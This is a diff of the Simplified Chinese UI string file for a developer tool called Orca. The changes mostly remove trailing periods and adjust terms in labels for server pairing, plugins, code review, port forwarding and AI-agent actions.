+          "defaultHostWebHelp": "此浏览器会在所选服务器上打开新项目",
           "updateAll": "全部更新（{{count}}）",
           "addServer": "添加服务器",
           "moreWaysToAdd": "添加服务器的更多方式",
           "pasteAccessLink": "粘贴访问链接",
           "checkForUpdates": "检查更新",
-          "emptyDescription": "配对开发机、云主机或家里的台式机。此电脑休眠时，会话会继续在那里运行。",
+          "emptyDescription": "配对开发机、云主机或家里的台式机，此电脑休眠时，会话会继续在那里运行",
           "movePaused": "迁移已暂停",
           "shareTitle": "共享此电脑",
           "done": "完成",
-          "unreachableLead": "Orca 无法访问此服务器。",
-          "updateFailedLead": "上次更新未完成。",
-          "unreachableHint": "请确认服务器上正在运行 Orca，且此电脑能访问其地址。",
-          "tailscaleTip": "这是 Tailscale 地址，因此两台电脑都需要登录同一个 tailnet。",
-          "loopbackTip": "127.0.0.1 地址只能通过 SSH 隧道使用。",
+          "unreachableLead": "Orca 无法访问此服务器",
+          "updateFailedLead": "上次更新未完成",
+          "unreachableHint": "请确认服务器上正在运行 Orca，且此电脑能访问其地址",
+          "tailscaleTip": "这是 Tailscale 地址，因此两台电脑都需要登录同一个 tailnet",
+          "loopbackTip": "127.0.0.1 地址只能通过 SSH 隧道使用",
           "lastSeen": "上次在线 {{when}}",
           "retry": "重试",
-          "pasteAccessLinkHelp": "与已在另一台机器上运行的 Orca 配对。",
+          "pasteAccessLinkHelp": "与已在另一台机器上运行的 Orca 配对",
           "cloudVm": "Cloud VM",
-          "cloudVmHelp": "根据环境配方为每个工作区创建。",
-          "addDescriptionShort": "粘贴另一台机器上“共享此电脑”生成的访问链接。",
+          "cloudVmHelp": "根据环境配方为每个工作区创建",
+          "addDescriptionShort": "粘贴另一台机器上“共享此电脑”生成的访问链接",
           "installHostPlaceholder": "选择未安装 Orca 的 SSH 主机",
           "oneActiveLink": "1 个有效链接",
           "activeLinks": "{{value0}} 个有效链接",
-          "shareDialogDescriptionRuns": "持有链接的人在你撤销之前都可以以你的身份在此电脑上运行命令。",
+          "shareDialogDescriptionRuns": "持有链接的人在你撤销之前都可以以你的身份在此电脑上运行命令",
           "shownAs": "向他人显示为 {{name}}",
           "editName": "编辑",
           "close": "关闭",
@@ -12338,9 +12648,9 @@
           "hideError": "隐藏错误",
           "showError": "显示错误",
           "installNamePlaceholder": "与 SSH 主机相同",
-          "defaultHostEmptyLine": "在添加服务器之前，新项目会在此电脑上打开。",
-          "setUpDone": "已在 {{name}} 上设置好 Orca。",
-          "settingUpInBackground": "正在后台于 {{name}} 上设置 Orca。准备好后会显示在列表中。",
+          "defaultHostEmptyLine": "在添加服务器之前，新项目会在此电脑上打开",
+          "setUpDone": "已在 {{name}} 上设置好 Orca",
+          "settingUpInBackground": "正在后台于 {{name}} 上设置 Orca，准备好后会显示在列表中",
           "setUpOnSshHost": "在 SSH 主机上设置 Orca",
           "setUp": "设置",
           "overYourSsh": "通过你的 SSH 连接"
@@ -12351,17 +12661,17 @@
           "loopback": "此电脑 · {{address}}"
         },
         "BundledSkillInstallStatus": {
-          "updateServer": "请更新服务器上的 Orca 以安装其技能。",
-          "connectHost": "请连接此 SSH 主机，才能安装其技能。"
+          "updateServer": "请更新服务器上的 Orca 以安装其技能",
+          "connectHost": "请连接此 SSH 主机，才能安装其技能"
         },
         "OrchestrationSkillPromptDialog": {
-          "d3dc559225": "无法复制安装命令。",
+          "d3dc559225": "无法复制安装命令",
           "f08d45293d": "复制命令",
-          "b99f375eb2": "在终端中运行此命令来为您的智能体安装编排技能。",
+          "b99f375eb2": "在终端中运行此命令来为你的代理安装编排技能",
           "35550f3b3b": "完成",
           "2914abcfa2": "安装编排技能",
           "1bdce1911e": "复制编排技能安装命令",
-          "239bf9132b": "复制安装命令。"
+          "239bf9132b": "复制安装命令"
         },
         "bundledSkillSetupCopy": {
           "installForAgent": "为 {{value0}} 安装",
@@ -12381,29 +12691,29 @@
         },
         "recoverServer": {
           "title": "恢复 Orca 服务器",
-          "description": "此主机上的 Orca 服务器无法启动，因为上一次运行留下的锁仍然存在。",
+          "description": "此主机上的 Orca 服务器无法启动，因为上一次运行留下的锁仍然存在",
           "checking": "正在检查锁…",
           "confirmCheck": "没有其他共享此主目录的机器在运行 Orca",
           "cancel": "取消",
           "confirm": "清除锁并重启",
-          "eligible": "此机器的旧地址上没有响应，但 Orca 无法排除另一台同名机器共享此主目录文件夹的可能。",
+          "eligible": "此机器的旧地址上没有响应，但 Orca 无法排除另一台同名机器共享此主目录文件夹的可能",
           "host": "主机",
           "lockBoot": "写入于启动时",
           "currentBoot": "当前启动",
-          "warning": "仅在没有其他共享此主目录的机器在此配置文件上运行 Orca 时才继续。",
-          "none": "已没有可清除的锁。重新连接以启动此主机上的 Orca 服务器。",
+          "warning": "仅在没有其他共享此主目录的机器在此配置文件上运行 Orca 时才继续",
+          "none": "已没有可清除的锁。重新连接以启动此主机上的 Orca 服务器",
           "manualCommand": "在主机上运行此命令，或删除“详情”中显示的锁文件：",
-          "manualDelete": "确认没有其他机器使用它后，删除“详情”中显示的锁文件。",
+          "manualDelete": "确认没有其他机器使用它后，删除“详情”中显示的锁文件",
           "action": "恢复服务器…",
           "written": "写入时间",
           "manualDeleteCommand": "在主机上手动删除锁：",
-          "manualDeleteWarning": "仅在没有其他共享此主目录的机器在此配置文件上运行 Orca 时才这样做。",
+          "manualDeleteWarning": "仅在没有其他共享此主目录的机器在此配置文件上运行 Orca 时才这样做",
           "close": "关闭",
-          "reclaimedNotStarted": "锁已清除，但 Orca 服务器未启动。"
+          "reclaimedNotStarted": "锁已清除，但 Orca 服务器未启动"
         },
         "claudeSubagentNavigation": {
           "title": "Claude 子智能体导航",
-          "description": "从侧边栏打开 Claude 子智能体。会在 Claude 的 keybindings.json 中添加快捷键，并在新的 Orca 窗格中加载 Orca mod。需要 Claude 2.1.300+ 和状态钩子。关闭时会移除 Orca 添加的快捷键；你删除过的快捷键保持删除状态。",
+          "description": "从侧边栏打开 Claude 子智能体。会在 Claude 的 keybindings.json 中添加快捷键，并在新的 Orca 窗格中加载 Orca mod。需要 Claude 2.1.300+ 和状态钩子。关闭时会移除 Orca 添加的快捷键；你删除过的快捷键保持删除状态",
           "search": {
             "subagent": "子智能体",
             "navigation": "导航",
@@ -12415,7 +12725,7 @@
         "ReleaseBuildPicker": {
           "build": "构建版本",
           "searchPlaceholder": "搜索构建...",
-          "noMatches": "没有匹配的版本。",
+          "noMatches": "没有匹配的版本",
           "searchLabel": "搜索构建"
         },
         "AppearanceThemeControl": {
@@ -12428,14 +12738,14 @@
         "AppearanceInterfaceSection": {
           "pluginIconTheme": {
             "title": "图标主题",
-            "description": "来自已启用插件的文件和文件夹图标。",
+            "description": "来自已启用插件的文件和文件夹图标",
             "builtIn": "内置",
             "search": "搜索图标主题…"
           },
           "lightTheme": "浅色主题",
           "darkTheme": "深色主题",
           "themeSlot": {
-            "description": "此模式下的应用配色。"
+            "description": "此模式下的应用配色"
           }
         },
         "PluginAddMenu": {
@@ -12448,17 +12758,17 @@
           "verified": "已验证",
           "unverified": "未验证",
           "catalogLoading": "目录",
-          "catalogFailedTitle": "无法加载插件目录。",
-          "catalogFailedBody": "已安装的插件仍可正常使用。",
+          "catalogFailedTitle": "无法加载插件目录",
+          "catalogFailedBody": "已安装的插件仍可正常使用",
           "retry": "重试",
-          "sourceFailedTitle": "无法加载此目录。",
-          "sourceFailedBody": "已安装的插件仍可正常使用。",
+          "sourceFailedTitle": "无法加载此目录",
+          "sourceFailedBody": "已安装的插件仍可正常使用",
           "sources": "来源…",
-          "sourceStaleTitle": "无法刷新此目录。",
-          "sourceStaleBody": "显示的是 {{value0}} 的副本。",
+          "sourceStaleTitle": "无法刷新此目录",
+          "sourceStaleBody": "显示的是 {{value0}} 的副本",
           "shownOf": "{{value0}} / {{value1}}",
           "installed": "已安装",
-          "installedFailedTitle": "无法读取已安装的插件。",
+          "installedFailedTitle": "无法读取已安装的插件",
           "updatesTitle": "更新",
           "refreshLabel": "刷新目录",
           "noResultsTitle": "没有与“{{value0}}”匹配的插件",
@@ -12476,10 +12786,10 @@
           "localFolder": "本地文件夹",
           "gitUrl": "Git URL",
           "stoppedTitle": "因错误而停止",
-          "stoppedBody": "它一直崩溃。重新启动以重试。",
+          "stoppedBody": "它一直崩溃。重新启动以重试",
           "invalidTitle": "Orca 无法加载此插件",
           "needsOrcaTitle": "需要 Orca {{value0}} 或更高版本",
-          "needsOrcaBody": "你的 Orca 版本为 {{value0}}。",
+          "needsOrcaBody": "你的 Orca 版本为 {{value0}}",
           "back": "插件",
           "info": "信息",
           "version": "版本",
@@ -12489,8 +12799,8 @@
           "categories": "类别",
           "pluginId": "插件 ID",
           "repository": "仓库",
-          "stoppedDataBody": "无法加载其文件。重新启动以重试。",
-          "newerBody": "你浏览时目录已更改。",
+          "stoppedDataBody": "无法加载其文件。重新启动以重试",
+          "newerBody": "你浏览时目录已更改",
           "showNewer": "查看新版本",
           "newerTitle": "有更新的版本",
           "alsoListedBy": "{{value0}} 也收录了此插件。更新只来自安装时所用的目录；如需切换，请移除后重新安装。",
@@ -12533,7 +12843,7 @@
           "bundledWithOrca": "随 Orca 附带",
           "installName": "安装 {{value0}}",
           "copied": "已复制插件 ID",
-          "copyFailed": "无法复制插件 ID。",
+          "copyFailed": "无法复制插件 ID",
           "details": "详情",
           "unverified": "未验证",
           "crashedOnce": "崩溃一次",
@@ -12569,11 +12879,11 @@
         "PluginUpdateAllDialog": {
           "previewError": "无法读取此更新",
           "newAccess": "新增：{{value0}}",
-          "failed": "无法更新 {{value0}}，其他插件已更新。",
+          "failed": "无法更新 {{value0}}，其他插件已更新",
           "cancel": "取消",
           "updateOne": "更新 1 个插件",
           "updateMany": "更新 {{value0}} 个插件",
-          "failedAll": "无法更新 {{value0}}。没有任何插件被更新。",
+          "failedAll": "无法更新 {{value0}}。没有任何插件被更新",
           "close": "关闭",
           "retry": "重试",
           "updated": "已更新",
@@ -12596,14 +12906,14 @@
           "license": "许可证",
           "whatsNew": "新功能",
           "hashCopied": "已复制内容哈希",
-          "hashCopyFailed": "无法复制哈希。",
+          "hashCopyFailed": "无法复制哈希",
           "readme": "在 {{value0}} 上阅读 README",
           "installs": "安装次数"
         },
         "PluginListEmptyStates": {
           "noFilterMatches": "没有与这些筛选条件匹配的插件",
           "clearBoth": "清除搜索和筛选",
-          "pageGone": "此插件已不再安装或列出。"
+          "pageGone": "此插件已不再安装或列出"
         },
         "pluginContributions": {
           "dark": "深色",
@@ -12616,10 +12926,10 @@
         },
         "PluginInstallConsent": {
           "noOtherAccess": "无其他访问权限",
-          "replacesShortcut": "{{value0}}（{{value1}}）会替换你的“{{value2}}”快捷键。",
+          "replacesShortcut": "{{value0}}（{{value1}}）将替换你为 {{value2}} 设置的快捷键",
           "updatesKeepApproval": "仅在需要新访问权限时更新才会再次询问",
           "fullAccessUpdates": "更新可能会在不询问的情况下更改其代码",
-          "editsFileTypes": "在 Orca 中打开并编辑 {{value0}} 文件。它可以读取自己打开的文件。",
+          "editsFileTypes": "在 Orca 中打开并编辑 {{value0}} 文件，且可读取它所打开的文件",
           "install": "安装并启用",
           "keepOff": "保持关闭"
         },
@@ -12642,7 +12952,7 @@
         },
         "PluginsAlphaNotice": {
           "label": "Alpha 版：",
-          "body": "插件接口可能会变化，细节可能有所不同。",
+          "body": "插件接口可能会变化，细节可能有所不同",
           "dismiss": "关闭 Alpha 版提示"
         },
         "PluginStatus": {
@@ -12659,9 +12969,9 @@
           "settings": {
             "copy": {
               "macFailureTitle": "macOS 未显示通知",
-              "macFailureDescription": "请在系统设置中为 Orca 开启“允许通知”。",
+              "macFailureDescription": "请在系统设置中为 Orca 开启“允许通知”",
               "windowsFailureTitle": "Windows 未显示通知",
-              "windowsFailureDescription": "请在 Windows 设置中为 Orca 开启通知。"
+              "windowsFailureDescription": "请在 Windows 设置中为 Orca 开启通知"
             }
           }
         },
@@ -12685,8 +12995,8 @@
           "addsCommands": "添加命令",
           "addsPanel": "添加面板",
           "contentOnly": "仅内容",
-          "fullAccess": "完全访问",
-          "addsVmRecipes": "添加虚拟机配方",
+          "fullAccess": "完全访问权限",
+          "addsVmRecipes": "添加虚拟机配置",
           "opensAndEditsFiles": "打开并编辑文件",
           "runsPluginCode": "运行插件代码"
         },
@@ -12722,11 +13032,11 @@
           "install": "安装"
         },
         "PluginPageHero": {
-          "screenshots": "屏幕截图",
-          "openScreenshot": "打开屏幕截图：{{value0}}",
-          "position": "{{value0}} / {{value1}}",
-          "previous": "上一张屏幕截图",
-          "next": "下一张屏幕截图"
+          "screenshots": "截图",
+          "openScreenshot": "打开截图：{{value0}}",
+          "position": "第 {{value0}} 张，共 {{value1}} 张",
+          "previous": "上一张截图",
+          "next": "下一张截图"
         },
         "PluginChips": {
           "updateNeedsReview": "更新需要审查",
@@ -12753,26 +13063,24 @@
           "shownPluginCount_other": "显示 {{count}} 个匹配的插件，包括此插件",
           "samePublisher": "更多列为 {{value0}} 的插件"
         },
-        "RepositorySourceControlAiSection": {
-          "112f3b934f": "源代码控制 AI"
+        "accountsPaneActionErrors": {
+          "codexSignInTimedOut": "Codex 登录等待超时，请重试",
+          "codexSignInUnavailable": "Codex 登录暂时不可用，请一分钟后重试",
+          "claudeSignInFailed": "Claude 登录失败，请重试"
         },
-        "keep": {
-          "local": {
-            "main": {
-              "up": {
-                "to": {
-                  "date": {
-                    "setting": {
-                      "f4c23aee76": "保持本地 main 最新"
-                    }
-                  }
-                }
-              }
-            }
+        "StatusBarUsageFormatSetting": {
+          "reset": "重置",
+          "previewLabel": "预览",
+          "previewBuiltin": "留空以使用 Orca 的内置格式。",
+          "placeholder": {
+            "provider": "提供商名称",
+            "plan": "套餐（Codex）",
+            "windows": "时间窗口的已用或剩余百分比",
+            "reset": "距重置的时间，例如 3h 15m",
+            "resetAt": "重置时刻，例如 20:50",
+            "buckets": "Gemini 模型分组",
+            "optional": "其中的占位符为空时省略该组"
           }
-        },
-        "BrowserUseEnableSwitch": {
-          "ce4d6f80d8": "启用智能体浏览器使用"
         }
       },
       "right": {
@@ -12783,20 +13091,20 @@
             "unstageCount": "取消暂存（{{count}}）"
           },
           "ChecksPanel": {
-            "2ef90c9819": "已启动 AI 智能体处理失败的检查。",
-            "a0181a8d76": "已启动 AI 智能体处理冲突。",
+            "2ef90c9819": "已启动 AI 代理处理失败的检查",
+            "a0181a8d76": "已启动 AI 代理处理冲突",
             "058039787c": "取消",
             "2ab7fd4b6d": "保存",
             "dda5924a40": "检查需要 Git 分支和托管评审上下文",
             "976cefd02f": "检查不可用",
             "b5dd73a105": "选择一个工作区以查看检查",
             "a4ef4e0832": "未选择工作区",
-            "5594400d73": "没有需要修复的失败检查。",
-            "abf59262fb": "启动智能体前请查看并编辑完整的命令输入。",
+            "5594400d73": "没有需要修复的失败检查",
+            "abf59262fb": "启动智能体前请查看并编辑完整的命令输入",
             "4ede779461": "使用 AI 解决评审冲突",
-            "3b203c62f8": "这将从 PR 中永久删除该评论。",
+            "3b203c62f8": "这将从 PR 中永久删除该评论",
             "ea9b649ce3": "删除评论？",
-            "5788d1059d": "无法更新评论主题。检查 GitHub API 预算。",
+            "5788d1059d": "无法更新评论主题，检查 GitHub API 预算",
             "07871c0589": "链接另一个 PR",
             "7f4489f370": "刷新",
             "5c88c6db07": "打开于 {{value0}}",
@@ -12811,26 +13119,26 @@
             "fdb27637f2": "出版…",
             "786e3c143f": "删除",
             "653c105ecc": "更多 PR 操作",
-            "f316a8ca2b": "未选择未解决的评论。",
+            "f316a8ca2b": "未选择未解决的评论",
             "d00ebdc402": "使用 AI 解决 {{value0}} 评论",
-            "5eb2163b6b": "启动 agent 前请检查提示词。提示词送达后，Orca 会解决选中的主机讨论串，并回复无法解决的评论。",
-            "f273f2271c": "已启动智能体。已标记 {{value0}} 个为已解决，回复 {{value1}} 个，跳过 {{value2}} 个，失败 {{value3}} 个。{{value4}}",
-            "aa95b81a3a": "已启动智能体。已标记 {{value0}} 个为已解决，回复 {{value1}} 个，跳过 {{value2}} 个，失败 {{value3}} 个。",
-            "495b2f8c4b": "已启动智能体，但无法解决或回复选中的评论。",
+            "5eb2163b6b": "启动代理前请检查提示词，提示词送达后，Orca 会解决选中的主机讨论串，并回复无法解决的评论",
+            "f273f2271c": "已启动代理，已标记 {{value0}} 个为已解决，回复 {{value1}} 个，跳过 {{value2}} 个，失败 {{value3}} 个，{{value4}}",
+            "aa95b81a3a": "已启动代理，已标记 {{value0}} 个为已解决，回复 {{value1}} 个，跳过 {{value2}} 个，失败 {{value3}} 个",
+            "495b2f8c4b": "已启动代理，但无法解决或回复选中的评论",
             "review": {
-              "auto_retry": "Orca 将在 {{time}} 重试。",
+              "auto_retry": "Orca 将在 {{time}} 重试",
               "open_review": "打开评审",
               "retry": "重试"
             },
             "sync": {
-              "pending": "Syncing…",
-              "branch": "Sync Branch"
+              "pending": "正在同步…",
+              "branch": "同步分支"
             },
-            "7e4b2a19c0": "无法确定要回复的 GitHub PR。",
-            "430f1a62d4": "无法在主机上解决选中的讨论串。",
-            "updateReactionFailed": "无法更新反应。",
-            "gitlabMoreActions": "更多 MR 动作",
-            "gitlabLinkAnother": "链接另一个 MR",
+            "7e4b2a19c0": "无法确定要回复的 GitHub PR",
+            "430f1a62d4": "无法在主机上解决选中的讨论串",
+            "updateReactionFailed": "更新回应失败，",
+            "gitlabMoreActions": "更多 MR 操作",
+            "gitlabLinkAnother": "关联另一个 MR",
             "reviewUpdatedAt": "{{review}} 更新于 {{time}}"
           },
           "CreateHostedReviewComposer": {
@@ -12857,11 +13165,11 @@
             "0fec99bfd7": "创建副本",
             "f61af83316": "新建文件夹",
             "37c875d827": "新文件",
-            "b3e288bf41": "无法下载“{{value0}}”。",
-            "f729bcd97d": "无法下载文件夹“{{value0}}”。",
+            "b3e288bf41": "无法下载\"{{value0}}\"",
+            "f729bcd97d": "无法下载文件夹\"{{value0}}\"",
             "1a3df04ae1": "打开",
-            "bce4d4e44f": "下载“{{value0}}”",
-            "a4029c996b": "已下载文件夹“{{value0}}”",
+            "bce4d4e44f": "下载\"{{value0}}\"",
+            "a4029c996b": "已下载文件夹\"{{value0}}\"",
             "e26010014a": "被 .gitignore 忽略",
             "a06551beee": "进入",
             "66a29dde82": "复制相对路径",
@@ -12874,7 +13182,7 @@
             "1d8e182c32": "查看文件",
             "clipboardStagingUnavailable": "无法复制文件，因为 Orca 的临时存储不可用",
             "revealInFinder": "在 Finder 中显示",
-            "openContainingFolder": "打开包含的文件夹",
+            "openContainingFolder": "打开所在文件夹",
             "revealInFileExplorer": "在文件资源管理器中显示"
           },
           "FileExplorerToolbar": {
@@ -12893,10 +13201,10 @@
           "GitHistoryPanel": {
             "cf7cad58d2": "尚无提交",
             "d0fb0f4bf2": "刷新提交记录",
-            "9f7535d22b": "引用是指向该确切提交的分支或标签名称。它们仅出现在 Git 具有该提交的命名引用的位置。",
+            "9f7535d22b": "引用是指向该确切提交的分支或标签名称，它们仅出现在 Git 具有该提交的命名引用的位置",
             "9289ba0cb9": "什么是参考文献？",
             "d836037d02": "提交",
-            "8232c8b2f2": "打开 commit {{value0}}: {{value1}}",
+            "8232c8b2f2": "打开提交 {{value0}}：{{value1}}",
             "e5e81e59a6": "调整提交记录高度",
             "6d1e0a7c3b": "无法加载提交文件"
           },
@@ -12904,8 +13212,8 @@
             "9845a71e17": "更多操作",
             "2bfaf4379c": "更多 {{value0}} 操作",
             "377269db6f": "{{value0}} 重新打开",
-            "78f5ff294c": "这将重新打开 {{value0}}。",
-            "a3d572a4de": "这将关闭 {{value0}}。",
+            "78f5ff294c": "这将重新打开 {{value0}}",
+            "a3d572a4de": "这将关闭 {{value0}}",
             "e4aca40024": "删除工作区",
             "eefd50457e": "正在删除...",
             "3ce211ece6": "重新打开 {{value0}}",
@@ -12914,14 +13222,14 @@
             "closedToast": "{{value0}} 已关闭",
             "9a41a687b7": "通过 #{{pr}} · {{count}} PR 排队",
             "38a1bccb14": "通过 #{{pr}} · {{count}} PR 排队",
-            "3de88351c5": "GitHub 会将此拉取请求及其下面的每个拉取请求添加到合并队列中。",
-            "a32fe6dba6": "GitHub 将合并此拉取请求以及堆栈中其下方的每个拉取请求。",
+            "3de88351c5": "GitHub 会将此拉取请求及其下面的每个拉取请求添加到合并队列中",
+            "a32fe6dba6": "GitHub 将合并此拉取请求以及堆栈中其下方的每个拉取请求",
             "73e0e1819d": "排队堆栈...",
             "e555a41d32": "合并堆栈...",
-            "markingReady": "标记准备好...",
-            "markReady": "标记为可供审核",
+            "markingReady": "正在标记为可供评审…",
+            "markReady": "标记为可供评审",
             "draftMoreActions": "更多 {{value0}} 操作",
-            "readyToast": "{{value0}} 标记为可供审核",
+            "readyToast": "{{value0}}已标记为可供评审",
             "closeReview": "关闭 {{review}}",
             "closeReviewConfirmTitle": "关闭 {{review}}？",
             "reopenReviewConfirmTitle": "重新打开 {{review}}？",
@@ -12934,7 +13242,7 @@
           "PortsPanel": {
             "3ea4a02a8f": "取消",
             "4eb801ce93": "开发服务器",
-            "8dfed0a15c": "标签（可选）",
+            "8dfed0a15c": "标签(可选)",
             "17bea6e391": "本地主机",
             "a3721a50b0": "远程主机",
             "d57545ff92": "与远程相同",
@@ -12949,7 +13257,7 @@
             "75aeea592f": "在浏览器中打开 {{value0}}",
             "de349d4560": "打开 {{value0}}",
             "907eb53ed2": "转发端口",
-            "04efd3dad4": "转发端口以访问本地计算机上的远程服务。",
+            "04efd3dad4": "转发端口以访问本地计算机上的远程服务",
             "1f0d2a24f9": "无转发端口",
             "36b1b2984a": "已检测",
             "ddbe58d74e": "转发",
@@ -12957,7 +13265,7 @@
             "6bc058dbe1": "端口",
             "d4c3cd679c": "正在重新连接...",
             "a2f1a47f42": "SSH 连接丢失",
-            "409afcc145": "没有为浏览器选择工作区。",
+            "409afcc145": "没有为浏览器选择工作区",
             "153145e675": "证据",
             "c7b4702b7b": "工作区",
             "57d930fa45": "PID",
@@ -12981,8 +13289,8 @@
             "9079776663": "保存",
             "9f475dc994": "转发...",
             "d7c83cfd24": "保存中...",
-            "31e80cff2d": "将远程端口转发到本地计算机。",
-            "10360598a4": "更新端口转发配置。",
+            "31e80cff2d": "将远程端口转发到本地计算机",
+            "10360598a4": "更新端口转发配置",
             "80206251c8": "编辑端口转发",
             "3e13cb63ee": "未知",
             "472054d94c": "端口：{{value0}}",
@@ -12991,7 +13299,7 @@
             "38b16cfbef": "未检测到端口",
             "0d63d94db3": "扫描...",
             "935dda7718": "活跃的工作区",
-            "740aca88ab": "工作区端口扫描失败。",
+            "740aca88ab": "工作区端口扫描失败",
             "5be4f7f727": "端口 {{value0}} 菜单",
             "1004af16ab": "复制 {{value0}}",
             "153d3a8026": "工作区主机未知",
@@ -13000,14 +13308,14 @@
             "unassigned": "未分配",
             "remotePortOutOfRange": "远程端口必须在 1–65535 范围内",
             "localPortOutOfRange": "本地端口必须在 1–65535 范围内",
-            "localPortInUse": "端口 {{port}} 已被占用。请选择其他本地端口。",
-            "localPortRequiresPrivileges": "端口 {{port}} 需要提升权限。请使用本地端口 ≥ 1024。"
+            "localPortInUse": "端口 {{port}} 已被占用。请选择其他本地端口",
+            "localPortRequiresPrivileges": "端口 {{port}} 需要提升权限。请使用本地端口 ≥ 1024"
           },
           "Search": {
             "1abfb25a66": "输入要在文件中搜索的内容",
             "d56d140747": "按 Enter 进行搜索",
             "98c8435e36": "选择要搜索的工作区",
-            "dcc294f28d": "（结果被截断）",
+            "dcc294f28d": "(结果被截断)",
             "resultsInFiles": "{{files}}中共 {{results}}",
             "resultCount_one": "{{count}} 个结果",
             "resultCount_other": "{{count}} 个结果",
@@ -13041,10 +13349,10 @@
             "1406954883": "清除所有笔记...",
             "conflictsSection": "冲突",
             "cc05b2d088": "在文件资源管理器中打开",
-            "03194cfff4": "本地会话状态源自您在此处打开的冲突。",
+            "03194cfff4": "本地会话状态源自您在此处打开的冲突",
             "27a50fe970": "评审冲突",
             "f6cb48b6fe": "用AI解决",
-            "3eeccbb221": "已解决的文件在离开实时冲突状态后会恢复正常更改。",
+            "3eeccbb221": "已解决的文件在离开实时冲突状态后会恢复正常更改",
             "c321542ee2": "删除第 {{value0}} 行的注释",
             "b656381c18": "删除注释",
             "c085946bda": "复制行 {{value0}} 上的注释",
@@ -13053,37 +13361,37 @@
             "3eb9b2805e": "打开 {{value0}} 上的注释",
             "0d963bf982": "打开{{value0}}",
             "59654650d3": "清除 {{value0}} 的注释",
-            "ac8cbe3bf5": "将鼠标悬停在差异视图中的一行上，然后单击 + 添加注释。",
+            "ac8cbe3bf5": "将鼠标悬停在差异视图中的一行上，然后单击 + 添加注释",
             "286dbda4d6": "重试",
-            "476b77745b": "更改基础引用",
+            "476b77745b": "更改基础参考",
             "ed34038d0d": "刷新分支比较",
-            "493f963029": "更改基础引用",
+            "493f963029": "更改基本参考",
             "11b5dd8e41": "比较",
             "a9bf7c171a": "提交失败",
             "011f9713fc": "提交被阻止",
             "cc199ccc5f": "更多提交和远程操作",
             "4d6e1fd7f3": "更多操作",
-            "37a81f29ad": "正在生成提交信息。单击停止。",
+            "37a81f29ad": "正在生成提交信息，单击停止",
             "b94112eb9e": "提交信息",
             "0d0a8359d3": "信息",
-            "15b7f210d7": "启动前请选择智能体并编辑完整的命令输入。",
+            "15b7f210d7": "启动前请选择智能体并编辑完整的命令输入",
             "054ead86b1": "使用 AI 修复提交失败",
             "9e5ccd00aa": "提交失败的上下文不可用",
             "f0a2dc9e46": "自定义启动...",
-            "ec7bfced55": "选择智能体来修复提交失败",
-            "dd43c47089": "选择针对此提交失败的智能体",
+            "ec7bfced55": "选择代理来修复提交失败",
+            "dd43c47089": "选择针对此提交失败的代理",
             "30b8d4f181": "使用 AI 修复提交失败",
-            "4b37ae99b0": "启动默认 AI 智能体来修复此提交失败",
-            "ae743199cd": "在创建 {{value0}} 之前，请选择其他基础分支。",
-            "318e2a7f88": "请等待 AI 生成完成。",
-            "f76307c1f7": "请选择基础分支。",
-            "4f76c0a9de": "基础分支必须与 head 分支不同。",
+            "4b37ae99b0": "启动默认 AI 代理来修复此提交失败",
+            "ae743199cd": "在创建 {{value0}} 之前，请选择其他基础分支",
+            "318e2a7f88": "请等待 AI 生成完成",
+            "f76307c1f7": "请选择基础分支",
+            "4f76c0a9de": "基础分支必须与 head 分支不同",
             "c5e4175139": "更多 {{value0}} 和远程操作",
             "78ddfd0bb4": "创建为草稿",
             "e64a632456": "main",
             "6055949c50": "{{value0}} 基础分支",
             "9484270f45": "正在生成标题和描述...",
-            "a0dc20fc93": "说明（可选）",
+            "a0dc20fc93": "说明(可选)",
             "a8873e1d62": "{{value0}} 描述",
             "7d6a8f0082": "标题",
             "a6eda33521": "{{value0}} 标题",
@@ -13092,30 +13400,30 @@
             "e868cec4e1": "生成…",
             "b355e740b2": "停止生成 {{value0}} 详细信息",
             "e1970d327d": "新建 {{value0}}",
-            "f4c766f1ca": "为此运行选择智能体和提示词模板。",
+            "f4c766f1ca": "为此运行选择代理和提示词模板",
             "1a6a6e0bc5": "生成托管评论详细信息",
             "6b122529d4": "生成提交信息",
-            "e48caaf0dd": "已启动 AI 智能体处理冲突。",
-            "901140f47d": "启动智能体前请查看并编辑完整的命令输入。",
+            "e48caaf0dd": "已启动 AI 代理处理冲突",
+            "901140f47d": "启动智能体前请查看并编辑完整的命令输入",
             "19652ddd76": "用 AI 解决冲突",
-            "c9ad22888e": "选择此仓库的分支比较目标。",
+            "c9ad22888e": "选择此存储库的分支比较目标",
             "574d2f4413": "清晰的笔记",
             "05bb8f4a48": "取消",
             "48db37cca9": "查看全部",
-            "c05fe04839": "推送到 {{value0}} 的 fork（非 origin）",
+            "c05fe04839": "推送到 {{value0}} 的 fork(非 origin)",
             "c35baf2f1e": "搜索文件...",
             "2fe2a67580": "更多笔记动作",
             "eae2d051af": "复制所有笔记",
             "cc474e0b8c": "笔记",
-            "e131cd7128": "源代码管理仅适用于 Git 仓库",
+            "e131cd7128": "源代码管理仅适用于 Git 存储库",
             "c07b236287": "选择一个工作区以查看更改",
             "a5e5a11090": "放弃所有失败 - 无法在放弃之前取消暂存文件",
             "8a5ba6a988": "无法加载提交差异",
             "fe5bd1a610": "创建 {{value0}}...",
             "812cb992ee": "打开于 {{value0}}",
             "eef5446523": "{{value0}} #{{value1}} 已开放",
-            "0453ca3a9a": "{{value0}} 已创建，但 Orca 尚无法刷新它。",
-            "eae7a1da5f": "无法清除笔记。",
+            "0453ca3a9a": "{{value0}} 已创建，但 Orca 尚无法刷新它",
+            "eae7a1da5f": "无法清除笔记",
             "df5040e3c3": "取消暂存",
             "8cde1a2fb0": "暂存",
             "d54dd48b0b": "放弃更改",
@@ -13130,7 +13438,7 @@
             "d7a5942e41": "{{value0}}：{{value1}} 未解决",
             "c56ba7fa06": "差异",
             "94c42b252e": "医学博士",
-            "b6922abb13": "无法加载分支比较。",
+            "b6922abb13": "无法加载分支比较",
             "715d229c86": "分支比较不可用",
             "97d8b03cdf": "分支比较失败",
             "834cb3f23d": "用 AI 修复",
@@ -13163,38 +13471,38 @@
             "5b176fa431": "双方都删除",
             "31f6d46278": "未解决",
             "2c417432b7": "已在本地解决",
-            "f3a8b2c1d0e5": "请输入 {{value0}} 标题。",
+            "f3a8b2c1d0e5": "请输入 {{value0}} 标题",
             "e2b7a1c0d9f4": "创建 {{value0}} 失败",
-            "hugeRepoIgnorePrompt": "此仓库的活动更改过多。是否将 \"{{value0}}\" 添加到 .gitignore？",
+            "hugeRepoIgnorePrompt": "此存储库的活动更改过多，是否将 \"{{value0}}\" 添加到 .gitignore？",
             "hugeRepoIgnoreAction": "添加到 .gitignore",
-            "tooManyChanges": "检测到过多更改。仅显示前 {{value0}} 项。",
